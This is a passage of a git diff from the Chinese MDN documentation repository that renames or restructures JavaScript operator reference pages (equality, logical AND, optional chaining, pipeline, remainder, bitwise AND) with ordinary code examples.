此运算符与严格等于===)运算符之间最显着的区别在于,严格等于运算符不尝试类型转换。相反,严格相等运算符始终将不同类型的操作数视为不同。

+ +

例子

+ +

没有类型转换的比较

+ +
1 == 1;              // true
+"hello" == "hello";  // true
+ +

与类型转换比较

+ +
"1" ==  1;            // true
+1 == "1";             // true
+0 == false;           // true
+0 == null;            // false
+0 == undefined;       // false
+null == undefined;    // true
+
+const number1 = new Number(3);
+const number2 = new Number(3);
+number1 == 3;         // true
+number1 == number2;   // false
+ +

对象比较

+ +
const object1 = {"key": "value"}
+const object2 = {"key": "value"};
+
+object1 == object2 // false
+object2 == object2 // true
+ +

比较字符串和String对象

+ +

请注意,使用构造的字符串new String()是对象。如果将其中之一与字符串文字进行比较,则该String对象将被转换为字符串文字并对其内容进行比较。但是,如果两个操作数都是String对象,则将它们作为对象进行比较,并且必须引用相同的对象才能进行比较:

+ +
const string1 = "hello";
+const string2 = String("hello");
+const string3 = new String("hello");
+const string4 = new String("hello");
+
+console.log(string1 == string2); // true
+console.log(string1 == string3); // true
+console.log(string2 == string3); // true
+console.log(string3 == string4); // false
+console.log(string4 == string4); // true
+ +

比较日期和字符串

+ +
const d = new Date('December 17, 1995 03:24:00');
+const s = d.toString(); // for example: "Sun Dec 17 1995 03:24:00 GMT-0800 (Pacific Standard Time)"
+console.log(d == s);    //true
+ +

技术指标

+ + + + + + + + + + + + +
规范
{{SpecName('ESDraft', '#sec-equality-operators', 'Equality operators')}}
+ +

浏览器兼容性

+ +

{{Compat("javascript.operators.equality")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/javascript/reference/operators/logical_and/index.html b/files/zh-cn/web/javascript/reference/operators/logical_and/index.html new file mode 100644 index 0000000000..de38317f42 --- /dev/null +++ b/files/zh-cn/web/javascript/reference/operators/logical_and/index.html @@ -0,0 +1,137 @@ +--- +title: 逻辑与(&&) +slug: Web/JavaScript/Reference/Operators/逻辑和 +translation_of: Web/JavaScript/Reference/Operators/Logical_AND +--- +
{{jsSidebar("Operators")}}
+ +

The logical AND (&&) operator (logical conjunction) for a set of operands is true if and only if all of its operands are true. It is typically used with {{jsxref("Boolean")}} (logical) values. When it is, it returns a Boolean value. However, the && operator actually returns the value of one of the specified operands, so if this operator is used with non-Boolean values, it will return a non-Boolean value.

+ +
{{EmbedInteractiveExample("pages/js/expressions-logical-and.html", "shorter")}}
+ + + +

Syntax

+ +
expr1 && expr2
+
+ +

Description

+ +

If expr1 can be converted to true, returns expr2; else, returns expr1.

+ +

If a value can be converted to true, the value is so-called {{Glossary("truthy")}}. If a value can be converted to false, the value is so-called {{Glossary("falsy")}}.

+ +

Examples of expressions that can be converted to false are:

+ +
    +
  • null;
  • +
  • NaN;
  • +
  • 0;
  • +
  • empty string ("" or '' or ``);
  • +
  • undefined.
  • +
+ +

Even though the && operator can be used with operands that are not Boolean values, it can still be considered a boolean operator since its return value can always be converted to a boolean primitive. To explicitly convert its return value (or any expression in general) to the corresponding boolean value, use a double NOT operator or the {{jsxref("Global_Objects/Boolean/Boolean", "Boolean")}} constructor.

+ +

Short-circuit evaluation

+ +

The logical AND expression is evaluated left to right, it is tested for possible "short-circuit" evaluation using the following rule:

+ +

(some falsy expression) && expr is short-circuit evaluated to the falsy expression;

+ +

Short circuit means that the expr part above is not evaluated, hence any side effects of doing so do not take effect (e.g., if expr is a function call, the calling never takes place). This happens because the value of the operator is already determined after the evaluation of the first operand. See example:

+ +
function A(){ console.log('called A'); return false; }
+function B(){ console.log('called B'); return true; }
+
+console.log( A() && B() );
+// logs "called A" due to the function call,
+// then logs false (which is the resulting value of the operator)
+
+ +

Operator precedence

+ +

The following expressions might seem equivalent, but they are not, because the && operator is executed before the || operator (see operator precedence).

+ +
true || false && false      // returns true, because && is executed first
+(true || false) && false    // returns false, because operator precedence cannot apply
+ +

Examples

+ +

Using AND

+ +

The following code shows examples of the && (logical AND) operator.

+ +
a1 = true  && true       // t && t returns true
+a2 = true  && false      // t && f returns false
+a3 = false && true       // f && t returns false
+a4 = false && (3 == 4)   // f && f returns false
+a5 = 'Cat' && 'Dog'      // t && t returns "Dog"
+a6 = false && 'Cat'      // f && t returns false
+a7 = 'Cat' && false      // t && f returns false
+a8 = ''    && false      // f && f returns ""
+a9 = false && ''         // f && f returns false
+ +

Conversion rules for booleans

+ +

Converting AND to OR

+ +

The following operation involving booleans:

+ +
bCondition1 && bCondition2
+ +

is always equal to:

+ +
!(!bCondition1 || !bCondition2)
+ +

Converting OR to AND

+ +

The following operation involving booleans:

+ +
bCondition1 || bCondition2
+ +

is always equal to:

+ +
!(!bCondition1 && !bCondition2)
+ +

Removing nested parentheses

+ +

As logical expressions are evaluated left to right, it is always possible to remove parentheses from a complex expression following some rules.

+ +

The following composite operation involving booleans:

+ +
bCondition1 || (bCondition2 && bCondition3)
+ +

is always equal to:

+ +
bCondition1 || bCondition2 && bCondition3
+ +

Specifications

+ + + + + + + + + + + + +
Specification
{{SpecName('ESDraft', '#prod-LogicalANDExpression', 'Logical AND expression')}}
+ +

Browser compatibility

+ + + +

{{Compat("javascript.operators.logical_and")}}

+ +

See also

+ +
    +
  • {{jsxref("Boolean")}}
  • +
  • {{Glossary("Truthy")}}
  • +
  • {{Glossary("Falsy")}}
  • +
diff --git a/files/zh-cn/web/javascript/reference/operators/logical_operators/index.html b/files/zh-cn/web/javascript/reference/operators/logical_operators/index.html deleted file mode 100644 index 5615e17d45..0000000000 --- a/files/zh-cn/web/javascript/reference/operators/logical_operators/index.html +++ /dev/null @@ -1,238 +0,0 @@ ---- -title: 逻辑运算符 -slug: Web/JavaScript/Reference/Operators/Logical_Operators -tags: - - JavaScript - - 操作符 - - 逻辑 -translation_of: Web/JavaScript/Reference/Operators -translation_of_original: Web/JavaScript/Reference/Operators/Logical_Operators ---- -
{{jsSidebar("Operators")}}
- -

逻辑运算符通常用于{{jsxref("Boolean","布尔")}}型(逻辑)值。这种情况下,它们返回一个布尔值。然而,&&|| 运算符会返回一个指定操作数的值,因此,这些运算符也用于非布尔值。这时,它们也就会返回一个非布尔型值。

- -
{{EmbedInteractiveExample("pages/js/expressions-logicaloperator.html")}}
- - - -

描述

- -

逻辑运算符如下表所示 (其中expr可能是任何一种类型, 不一定是布尔值):

- - - - - - - - - - - - - - - - - - - - - - - - -
运算符语法说明
逻辑与,AND(&&expr1 && expr2expr1 可转换为 true,则返回 expr2;否则,返回 expr1
逻辑或,OR(||expr1 || expr2expr1 可转换为 true,则返回 expr1;否则,返回 expr2
逻辑非,NOT(!!exprexpr 可转换为 true,则返回 false;否则,返回 true
- -

如果一个值可以被转换为 true,那么这个值就是所谓的 {{Glossary("truthy")}},如果可以被转换为 false,那么这个值就是所谓的 {{Glossary("falsy")}}。

- -

会被转换为 false 的表达式有:

- -
    -
  • null
  • -
  • NaN
  • -
  • 0
  • -
  • 空字符串("" or '' or ``);
  • -
  • undefined
  • -
- -

尽管 &&|| 运算符能够使用非布尔值的操作数, 但它们依然可以被看作是布尔操作符,因为它们的返回值总是能够被转换为布尔值。如果要显式地将它们的返回值(或者表达式)转换为布尔值,请使用双重非运算符(即!!)或者Boolean构造函数。

- -

短路计算

- -

由于逻辑表达式的运算顺序是从左到右,也可以用以下规则进行"短路"计算:

- -
    -
  • (some falsy expression) && (expr) 短路计算的结果为假。
  • -
  • (some truthy expression) || (expr) 短路计算的结果为真。
  • -
- -

短路意味着上述表达式中的expr部分不会被执行,因此expr的任何副作用都不会生效(举个例子,如果expr是一次函数调用,这次调用就不会发生)。造成这种现象的原因是,整个表达式的值在第一个操作数被计算后已经确定了。看一个例子:

- -
function A(){ console.log('called A'); return false; }
-function B(){ console.log('called B'); return true; }
-
-console.log( A() && B() );
-// logs "called A" due to the function call,
-// then logs false (which is the resulting value of the operator)
-
-console.log( B() || A() );
-// logs "called B" due to the function call,
-// then logs true (which is the resulting value of the operator)
-
- -

Operators precedence

- -

请注意,由于运算符优先级的存在,下面的表达式的结果却不相同。右侧被小括号括起来的操作变成了独立的表达式。

- -
false &&  true || true      // 结果为 true
-false && (true || true)     // 结果为 false
-
- -

逻辑与(&&

- -

下面的代码是 && (逻辑与) 运算符的示例.

- -
a1 = true  && true      // t && t 返回 true
-a2 = true  && false     // t && f 返回 false
-a3 = false && true      // f && t 返回 false
-a4 = false && (3 == 4)  // f && f 返回 false
-a5 = "Cat" && "Dog"     // t && t 返回 "Dog"
-a6 = false && "Cat"     // f && t 返回 false
-a7 = "Cat" && false     // t && f 返回 false
-a8 = ''    && false     // f && f 返回 ""
-a9 = false && ''        // f && f 返回 false
-
- -

逻辑或(||

- -

下面的代码是 || (逻辑或) 运算符的示例。

- -
o1 = true  || true      // t || t 返回 true
-o2 = false || true      // f || t 返回 true
-o3 = true  || false     // t || f 返回 true
-o4 = false || (3 == 4)  // f || f 返回 false
-o5 = "Cat" || "Dog"     // t || t 返回 "Cat"
-o6 = false || "Cat"     // f || t 返回 "Cat"
-o7 = "Cat" || false     // t || f 返回 "Cat"
-o8 = ''    || false     // f || f 返回 false
-o9 = false || ''        // f || f 返回 ""
-
- -

逻辑非(!

- -

下面的代码是 ! (逻辑非) 运算符的示例.

- -
n1 = !true              // !t 返回 false
-n2 = !false             // !f 返回 true
-n3 = !''                // !f 返回 true
-n4 = !'Cat'             // !t 返回 false
-
- -

双重非(!!)运算符

- -

可能使用双重非运算符的一个场景,是显式地将任意值强制转换为其对应的布尔值。这种转换是基于被转换值的 "truthyness" 和 "falsyness"的(参见 {{Glossary("truthy")}} 和 {{Glossary("falsy")}})。

- -

同样的转换可以通过 Boolean 函数完成。

- -
n1 = !!true                   // !!truthy 返回 true
-n2 = !!{}                     // !!truthy 返回 true: 任何 对象都是 truthy 的…
-n3 = !!(new Boolean(false))   // …甚至 .valueOf() 返回 false 的布尔值对象也是!
-n4 = !!false                  // !!falsy 返回 false
-n5 = !!""                     // !!falsy 返回 false
-n6 = !!Boolean(false)         // !!falsy 返回 false
-
- -

布尔值转换规则

- -

将 AND 转换为 OR

- -

以下涉及布尔运算的操作:

- -
bCondition1 && bCondition2
- -

总是等于:

- -
!(!bCondition1 || !bCondition2)
- -

将 OR 转换为 AND

- -

以下涉及布尔运算的操作:

- -
bCondition1 || bCondition2
- -

总是等于:

- -
!(!bCondition1 && !bCondition2)
- -

删除嵌套的小括号

- -

由于逻辑表达式是从左往右计算的,所以,通常可以按照下面的规则删除小括号。

- -

删除嵌套的 AND

- -

以下涉及布尔运算的操作:

- -
bCondition1 || (bCondition2 && bCondition3)
- -

总是等于:

- -
bCondition1 || bCondition2 && bCondition3
- -

删除嵌套的 OR

- -

以下涉及布尔运算的操作:

- -
bCondition1 && (bCondition2 || bCondition3)
- -

总是等于:

- -
!(!bCondition1 || !bCondition2 && !bCondition3)
- -

规范

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
规范状态备注
{{SpecName('ES1')}}{{Spec2('ES1')}}Initial definition.
{{SpecName('ES5.1', '#sec-11.11')}}{{Spec2('ES5.1')}}Defined in several sections of the specification: Logical NOT Operator, Binary Logical Operators
{{SpecName('ES6', '#sec-binary-logical-operators')}}{{Spec2('ES6')}}Defined in several sections of the specification: Logical NOT Operator, Binary Logical Operators
{{SpecName('ESDraft', '#sec-binary-logical-operators')}}{{Spec2('ESDraft')}}Defined in several sections of the specification: Logical NOT Operator, Binary Logical Operators
- -

浏览器兼容性

- - - -

{{Compat("javascript.operators.logical")}}

- -

参见

- - diff --git a/files/zh-cn/web/javascript/reference/operators/optional_chaining/index.html b/files/zh-cn/web/javascript/reference/operators/optional_chaining/index.html new file mode 100644 index 0000000000..da2f04c775 --- /dev/null +++ b/files/zh-cn/web/javascript/reference/operators/optional_chaining/index.html @@ -0,0 +1,202 @@ +--- +title: 可选链操作符 +slug: Web/JavaScript/Reference/Operators/可选链 +tags: + - '?.' + - JavaScript + - Optional chaining (?.) + - Reference + - 参考 + - 可选链 + - 语言特性 + - 运算符 + - 链式调用 +translation_of: Web/JavaScript/Reference/Operators/Optional_chaining +--- +
{{JSSidebar("Operators")}}
+ +

可选链操作符( ?. )允许读取位于连接对象链深处的属性的值,而不必明确验证链中的每个引用是否有效。?. 操作符的功能类似于 . 链式操作符,不同之处在于,在引用为空(nullish ) ({{JSxRef("null")}} 或者 {{JSxRef("undefined")}}) 的情况下不会引起错误,该表达式短路返回值是 undefined。与函数调用一起使用时,如果给定的函数不存在,则返回 undefined

+ +

当尝试访问可能不存在的对象属性时,可选链操作符将会使表达式更短、更简明。在探索一个对象的内容时,如果不能确定哪些属性必定存在,可选链操作符也是很有帮助的。

+ +
{{EmbedInteractiveExample("pages/js/expressions-optionalchainingoperator.html", "taller")}}
+ + + +

语法

+ +
obj?.prop
+obj?.[expr]
+arr?.[index]
+func?.(args)
+
+ +

描述

+ +

通过连接的对象的引用或函数可能是 undefinednull 时,可选链操作符提供了一种方法来简化被连接对象的值访问。

+ +

比如,思考一个存在嵌套结构的对象 obj。不使用可选链的话,查找一个深度嵌套的子属性时,需要验证之间的引用,例如:

+ +
let nestedProp = obj.first && obj.first.second;
+ +

为了避免报错,在访问obj.first.second之前,要保证 obj.first 的值既不是 null,也不是 undefined。如果只是直接访问 obj.first.second,而不对 obj.first 进行校验,则有可能抛出错误。

+ +

有了可选链操作符(?.),在访问 obj.first.second 之前,不再需要明确地校验 obj.first 的状态,再并用短路计算获取最终结果:

+ +
let nestedProp = obj.first?.second;
+ +

通过使用 ?. 操作符取代 . 操作符,JavaScript 会在尝试访问 obj.first.second 之前,先隐式地检查并确定 obj.first 既不是 null 也不是 undefined。如果obj.first null 或者 undefined,表达式将会短路计算直接返回 undefined

+ +

这等价于以下表达式,但实际上没有创建临时变量:

+ +
let temp = obj.first;
+let nestedProp = ((temp === null || temp === undefined) ? undefined : temp.second);
+ +

可选链与函数调用

+ +

当尝试调用一个可能不存在的方法时也可以使用可选链。这将是很有帮助的,比如,当使用一个API的方法可能不可用时,要么因为实现的版本问题要么因为当前用户的设备不支持该功能。

+ +

函数调用时如果被调用的方法不存在,使用可选链可以使表达式自动返回undefined而不是抛出一个异常。

+ +
let result = someInterface.customMethod?.();
+ +
+

注意: 如果存在一个属性名且不是函数, 使用 ?. 仍然会产生一个 {{JSxRef("TypeError")}} 异常 (x.y is not a function).

+
+ +
+

注意: 如果 someInterface 自身是 null 或者 undefined ,异常 {{JSxRef("TypeError")}} 仍会被抛出 someInterface is null 如果你希望允许 someInterface 也为 null 或者 undefined ,那么你需要像这样写 someInterface?.customMethod?.()

+
+ +

处理可选的回调函数或者事件处理器

+ +

如果使用解构赋值来解构的一个对象的回调函数或 fetch 方法,你可能得到不能当做函数直接调用的不存在的值,除非你已经校验了他们的存在性。使用?.的你可以忽略这些额外的校验:

+ +
//  ES2019的写法
+function doSomething(onContent, onError) {
+  try {
+    // ... do something with the data
+  }
+  catch (err) {
+    if (onError) { // 校验onError是否真的存在
+      onError(err.message);
+    }
+  }
+}
+
+ +
// 使用可选链进行函数调用
+function doSomething(onContent, onError) {
+  try {
+   // ... do something with the data
+  }
+  catch (err) {
+    onError?.(err.message); // 如果onError是undefined也不会有异常
+  }
+}
+
+ +

可选链和表达式

+ +

当使用方括号与属性名的形式来访问属性时,你也可以使用可选链操作符:

+ +
let nestedProp = obj?.['prop' + 'Name'];
+ +

可选链不能用于赋值

+ +
let object = {};
+object?.property = 1; // Uncaught SyntaxError: Invalid left-hand side in assignment
+ +

可选链访问数组元素

+ +
let arrayItem = arr?.[42];
+ +

例子

+ +

基本例子

+ +

如下的例子在一个不含 bar 成员的 Map 中查找 bar 成员的 name 属性,因此结果是 undefined

+ +
let myMap = new Map();
+myMap.set("foo", {name: "baz", desc: "inga"});
+
+let nameBar = myMap.get("bar")?.name;
+ +

短路计算

+ +

当在表达式中使用可选链时,如果左操作数是 nullundefined,表达式将不会被计算,例如:

+ +
let potentiallyNullObj = null;
+let x = 0;
+let prop = potentiallyNullObj?.[x++];
+
+console.log(x); // x 将不会被递增,依旧输出 0
+
+ +

连用可选链操作符

+ +

可以连续使用可选链读取多层嵌套结构:

+ +
let customer = {
+  name: "Carl",
+  details: {
+    age: 82,
+    location: "Paradise Falls" // details 的 address 属性未有定义
+  }
+};
+let customerCity = customer.details?.address?.city;
+
+// … 可选链也可以和函数调用一起使用
+let duration = vacations.trip?.getTime?.();
+
+ +

使用空值合并操作符

+ +

{{JSxRef("Operators/Nullish_Coalescing_Operator", "空值合并操作符")}}可以在使用可选链时设置一个默认值:

+ +
let customer = {
+  name: "Carl",
+  details: { age: 82 }
+};
+let customerCity = customer?.city ?? "暗之城";
+console.log(customerCity); // “暗之城”
+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('ESDraft', '#prod-OptionalExpression', 'optional expression')}}Stage 4
+ +

浏览器兼容性

+ +
+ + +

{{Compat("javascript.operators.optional_chaining")}}

+ +

Implementation Progress

+ +

The following table provides a daily implementation status for this feature because this feature has not yet reached cross-browser stability. The data is generated by running the relevant feature tests in Test262, the standard test suite of JavaScript, in the nightly build, or the latest release of each browser's JavaScript engine.

+ +

{{EmbedTest262ReportResultsTable("optional-chaining")}}

+
+ +

参见

+ +
    +
  • {{JSxRef("Operators/Nullish_Coalescing_Operator", "空值合并操作符")}}
  • +
  • TC39 提案
  • +
diff --git a/files/zh-cn/web/javascript/reference/operators/pipeline_operator/index.html b/files/zh-cn/web/javascript/reference/operators/pipeline_operator/index.html new file mode 100644 index 0000000000..06ce40ad0b --- /dev/null +++ b/files/zh-cn/web/javascript/reference/operators/pipeline_operator/index.html @@ -0,0 +1,75 @@ +--- +title: 管道操作符 +slug: Web/JavaScript/Reference/Operators/管道操作符 +tags: + - Experimental + - JavaScript + - Operator + - 语法糖 + - 链式 + - 链式调用 +translation_of: Web/JavaScript/Reference/Operators/Pipeline_operator +--- +
{{jsSidebar("Operators")}} {{SeeCompatTable}}
+ +

试验性的管道操作符 |> (目前其标准化流程处于 stage 1 阶段)允许以一种易读的方式去对函数链式调用。本质上来说,管道操作符是单参数函数调用的语法糖,它允许你像这样执行一个调用:

+ +
let url = "%21" |> decodeURI;
+ +

使用传统语法写的话,等效的代码是这样的:

+ +
let url = decodeURI("%21");
+
+ +

语法

+ +
expression |> function
+ +

例子

+ +

函数链式调用

+ +

当链式调用多个函数时,使用管道操作符可以改善代码的可读性。

+ +
const double = (n) => n * 2;
+const increment = (n) => n + 1;
+
+// 没有用管道操作符
+double(increment(double(5))); // 22
+
+// 用上管道操作符之后
+5 |> double |> increment |> double; // 22
+
+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态备注
Pipeline operator draftStage 1Not part of the ECMAScript specification yet.
+ +

浏览器兼容性Edit

+ +
+ + +

{{Compat("javascript.operators.pipeline")}}

+
+ +

参见

+ + diff --git a/files/zh-cn/web/javascript/reference/operators/remainder/index.html b/files/zh-cn/web/javascript/reference/operators/remainder/index.html new file mode 100644 index 0000000000..276296ccd7 --- /dev/null +++ b/files/zh-cn/web/javascript/reference/operators/remainder/index.html @@ -0,0 +1,81 @@ +--- +title: 取余 (%) +slug: Web/JavaScript/Reference/Operators/取余 +tags: + - JavaScript + - Language feature + - Operator + - Reference +translation_of: Web/JavaScript/Reference/Operators/Remainder +--- +
{{jsSidebar("Operators")}}
+ +

当一个操作数除以第二个操作数时,取余运算符(%)返回剩余的余数。它与被除数的符号保持一致。

+ +
{{EmbedInteractiveExample("pages/js/expressions-remainder.html")}}
+ +
+ + + +

语法

+ +
Operator: var1 % var2
+
+ +

示例

+ +

被除数为正数

+ +
 12 % 5  //  2
+ 1 % -2 //  1
+ 1 % 2  //  1
+ 2 % 3  //  2
+5.5 % 2 // 1.5
+
+ +

被除数为负数

+ +
-12 % 5 // -2
+-1 % 2  // -1
+-4 % 2  // -0
+ +

被除数为NaN

+ +
NaN % 2 // NaN
+ +

规范

+ + + + + + + + + + +
Specification
{{SpecName('ESDraft', '#sec-multiplicative-operators', 'Remainder operator')}}
+ +

浏览器兼容性

+ + + +

{{Compat("javascript.operators.remainder")}}

+ +

相关链接

+ +
    +
+ + diff --git "a/files/zh-cn/web/javascript/reference/operators/\345\217\226\344\275\231/index.html" "b/files/zh-cn/web/javascript/reference/operators/\345\217\226\344\275\231/index.html" deleted file mode 100644 index 276296ccd7..0000000000 --- "a/files/zh-cn/web/javascript/reference/operators/\345\217\226\344\275\231/index.html" +++ /dev/null @@ -1,81 +0,0 @@ ---- -title: 取余 (%) -slug: Web/JavaScript/Reference/Operators/取余 -tags: - - JavaScript - - Language feature - - Operator - - Reference -translation_of: Web/JavaScript/Reference/Operators/Remainder ---- -
{{jsSidebar("Operators")}}
- -

当一个操作数除以第二个操作数时,取余运算符(%)返回剩余的余数。它与被除数的符号保持一致。

- -
{{EmbedInteractiveExample("pages/js/expressions-remainder.html")}}
- -
- - - -

语法

- -
Operator: var1 % var2
-
- -

示例

- -

被除数为正数

- -
 12 % 5  //  2
- 1 % -2 //  1
- 1 % 2  //  1
- 2 % 3  //  2
-5.5 % 2 // 1.5
-
- -

被除数为负数

- -
-12 % 5 // -2
--1 % 2  // -1
--4 % 2  // -0
- -

被除数为NaN

- -
NaN % 2 // NaN
- -

规范

- - - - - - - - - - -
Specification
{{SpecName('ESDraft', '#sec-multiplicative-operators', 'Remainder operator')}}
- -

浏览器兼容性

- - - -

{{Compat("javascript.operators.remainder")}}

- -

相关链接

- -
    -
- - diff --git "a/files/zh-cn/web/javascript/reference/operators/\345\217\257\351\200\211\351\223\276/index.html" "b/files/zh-cn/web/javascript/reference/operators/\345\217\257\351\200\211\351\223\276/index.html" deleted file mode 100644 index da2f04c775..0000000000 --- "a/files/zh-cn/web/javascript/reference/operators/\345\217\257\351\200\211\351\223\276/index.html" +++ /dev/null @@ -1,202 +0,0 @@ ---- -title: 可选链操作符 -slug: Web/JavaScript/Reference/Operators/可选链 -tags: - - '?.' - - JavaScript - - Optional chaining (?.) - - Reference - - 参考 - - 可选链 - - 语言特性 - - 运算符 - - 链式调用 -translation_of: Web/JavaScript/Reference/Operators/Optional_chaining ---- -
{{JSSidebar("Operators")}}
- -

可选链操作符( ?. )允许读取位于连接对象链深处的属性的值,而不必明确验证链中的每个引用是否有效。?. 操作符的功能类似于 . 链式操作符,不同之处在于,在引用为空(nullish ) ({{JSxRef("null")}} 或者 {{JSxRef("undefined")}}) 的情况下不会引起错误,该表达式短路返回值是 undefined。与函数调用一起使用时,如果给定的函数不存在,则返回 undefined

- -

当尝试访问可能不存在的对象属性时,可选链操作符将会使表达式更短、更简明。在探索一个对象的内容时,如果不能确定哪些属性必定存在,可选链操作符也是很有帮助的。

- -
{{EmbedInteractiveExample("pages/js/expressions-optionalchainingoperator.html", "taller")}}
- - - -

语法

- -
obj?.prop
-obj?.[expr]
-arr?.[index]
-func?.(args)
-
- -

描述

- -

通过连接的对象的引用或函数可能是 undefinednull 时,可选链操作符提供了一种方法来简化被连接对象的值访问。

- -

比如,思考一个存在嵌套结构的对象 obj。不使用可选链的话,查找一个深度嵌套的子属性时,需要验证之间的引用,例如:

- -
let nestedProp = obj.first && obj.first.second;
- -

为了避免报错,在访问obj.first.second之前,要保证 obj.first 的值既不是 null,也不是 undefined。如果只是直接访问 obj.first.second,而不对 obj.first 进行校验,则有可能抛出错误。

- -

有了可选链操作符(?.),在访问 obj.first.second 之前,不再需要明确地校验 obj.first 的状态,再并用短路计算获取最终结果:

- -
let nestedProp = obj.first?.second;
- -

通过使用 ?. 操作符取代 . 操作符,JavaScript 会在尝试访问 obj.first.second 之前,先隐式地检查并确定 obj.first 既不是 null 也不是 undefined。如果obj.first null 或者 undefined,表达式将会短路计算直接返回 undefined

- -

这等价于以下表达式,但实际上没有创建临时变量:

- -
let temp = obj.first;
-let nestedProp = ((temp === null || temp === undefined) ? undefined : temp.second);
- -

可选链与函数调用

- -

当尝试调用一个可能不存在的方法时也可以使用可选链。这将是很有帮助的,比如,当使用一个API的方法可能不可用时,要么因为实现的版本问题要么因为当前用户的设备不支持该功能。

- -

函数调用时如果被调用的方法不存在,使用可选链可以使表达式自动返回undefined而不是抛出一个异常。

- -
let result = someInterface.customMethod?.();
- -
-

注意: 如果存在一个属性名且不是函数, 使用 ?. 仍然会产生一个 {{JSxRef("TypeError")}} 异常 (x.y is not a function).

-
- -
-

注意: 如果 someInterface 自身是 null 或者 undefined ,异常 {{JSxRef("TypeError")}} 仍会被抛出 someInterface is null 如果你希望允许 someInterface 也为 null 或者 undefined ,那么你需要像这样写 someInterface?.customMethod?.()

-
- -

处理可选的回调函数或者事件处理器

- -

如果使用解构赋值来解构的一个对象的回调函数或 fetch 方法,你可能得到不能当做函数直接调用的不存在的值,除非你已经校验了他们的存在性。使用?.的你可以忽略这些额外的校验:

- -
//  ES2019的写法
-function doSomething(onContent, onError) {
-  try {
-    // ... do something with the data
-  }
-  catch (err) {
-    if (onError) { // 校验onError是否真的存在
-      onError(err.message);
-    }
-  }
-}
-
- -
// 使用可选链进行函数调用
-function doSomething(onContent, onError) {
-  try {
-   // ... do something with the data
-  }
-  catch (err) {
-    onError?.(err.message); // 如果onError是undefined也不会有异常
-  }
-}
-
- -

可选链和表达式

- -

当使用方括号与属性名的形式来访问属性时,你也可以使用可选链操作符:

- -
let nestedProp = obj?.['prop' + 'Name'];
- -

可选链不能用于赋值

- -
let object = {};
-object?.property = 1; // Uncaught SyntaxError: Invalid left-hand side in assignment
- -

可选链访问数组元素

- -
let arrayItem = arr?.[42];
- -

例子

- -

基本例子

- -

如下的例子在一个不含 bar 成员的 Map 中查找 bar 成员的 name 属性,因此结果是 undefined

- -
let myMap = new Map();
-myMap.set("foo", {name: "baz", desc: "inga"});
-
-let nameBar = myMap.get("bar")?.name;
- -

短路计算

- -

当在表达式中使用可选链时,如果左操作数是 nullundefined,表达式将不会被计算,例如:

- -
let potentiallyNullObj = null;
-let x = 0;
-let prop = potentiallyNullObj?.[x++];
-
-console.log(x); // x 将不会被递增,依旧输出 0
-
- -

连用可选链操作符

- -

可以连续使用可选链读取多层嵌套结构:

- -
let customer = {
-  name: "Carl",
-  details: {
-    age: 82,
-    location: "Paradise Falls" // details 的 address 属性未有定义
-  }
-};
-let customerCity = customer.details?.address?.city;
-
-// … 可选链也可以和函数调用一起使用
-let duration = vacations.trip?.getTime?.();
-
- -

使用空值合并操作符

- -

{{JSxRef("Operators/Nullish_Coalescing_Operator", "空值合并操作符")}}可以在使用可选链时设置一个默认值:

- -
let customer = {
-  name: "Carl",
-  details: { age: 82 }
-};
-let customerCity = customer?.city ?? "暗之城";
-console.log(customerCity); // “暗之城”
- -

规范

- - - - - - - - - - - - - - - - -
规范状态备注
{{SpecName('ESDraft', '#prod-OptionalExpression', 'optional expression')}}Stage 4
- -

浏览器兼容性

- -
- - -

{{Compat("javascript.operators.optional_chaining")}}

- -

Implementation Progress

- -

The following table provides a daily implementation status for this feature because this feature has not yet reached cross-browser stability. The data is generated by running the relevant feature tests in Test262, the standard test suite of JavaScript, in the nightly build, or the latest release of each browser's JavaScript engine.

- -

{{EmbedTest262ReportResultsTable("optional-chaining")}}

-
- -

参见

- -
    -
  • {{JSxRef("Operators/Nullish_Coalescing_Operator", "空值合并操作符")}}
  • -
  • TC39 提案
  • -
diff --git "a/files/zh-cn/web/javascript/reference/operators/\346\214\211\344\275\215\344\270\216/index.html" "b/files/zh-cn/web/javascript/reference/operators/\346\214\211\344\275\215\344\270\216/index.html" deleted file mode 100644 index 20eece2691..0000000000 --- "a/files/zh-cn/web/javascript/reference/operators/\346\214\211\344\275\215\344\270\216/index.html" +++ /dev/null @@ -1,106 +0,0 @@ ---- -title: 按位与 (&) -slug: Web/JavaScript/Reference/Operators/按位与 -translation_of: Web/JavaScript/Reference/Operators/Bitwise_AND ---- -
{{jsSidebar("Operators")}}
- -

按位与运算符 (&) 在每个位上返回 1 ,这两个操作数对应的位都是 1.

- -
{{EmbedInteractiveExample("pages/js/expressions-bitwise-and.html")}}
- - - -

语法

- -
a & b
-
- -

描述

- -

操作数被转换为32位整数,并由一系列位(0和1)表示。 超过32位的数字将丢弃其最高有效位。 例如,以下大于32位的整数将被转换为32位整数:

- -
Before: 11100110111110100000000000000110000000000001
-After:              10100000000000000110000000000001
- -

第一个操作数中的每个位都与第二个操作数中的相应位配对:第一位到第一位,第二位到第二位,依此类推。

- -

将运算符应用于每对位,然后按位构造结果。

- -

与运算的真值表:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
aba AND b
000
010
100
111
- -
.    9 (base 10) = 00000000000000000000000000001001 (base 2)
-    14 (base 10) = 00000000000000000000000000001110 (base 2)
-                   --------------------------------
-14 & 9 (base 10) = 00000000000000000000000000001000 (base 2) = 8 (base 10)
-
- -

将任何数字x0进行按位与运算将得出0

- -

示例

- -

使用按位与

- -
// 5: 00000000000000000000000000000101
-// 2: 00000000000000000000000000000010
-5 & 2; // 0
- -

规范说明

- - - - - - - - - - - - -
Specification
{{SpecName('ESDraft', '#prod-BitwiseANDExpression', 'Bitwise AND expression')}}
- -

浏览器兼容性

- - - -

{{Compat("javascript.operators.bitwise_and")}}

- -

参阅

- - diff --git "a/files/zh-cn/web/javascript/reference/operators/\347\233\270\345\212\240/index.html" "b/files/zh-cn/web/javascript/reference/operators/\347\233\270\345\212\240/index.html" deleted file mode 100644 index 6da432b4e6..0000000000 --- "a/files/zh-cn/web/javascript/reference/operators/\347\233\270\345\212\240/index.html" +++ /dev/null @@ -1,79 +0,0 @@ ---- -title: 相加运算符 (+) -slug: Web/JavaScript/Reference/Operators/相加 -translation_of: Web/JavaScript/Reference/Operators/Addition ---- -
{{jsSidebar("相加运算符")}}
- -

相加运算符 (+) 用于对两个操作数进行相加运算,如果操作数为字符串则该运算符将两个操作数连接成一个字符串。

- -
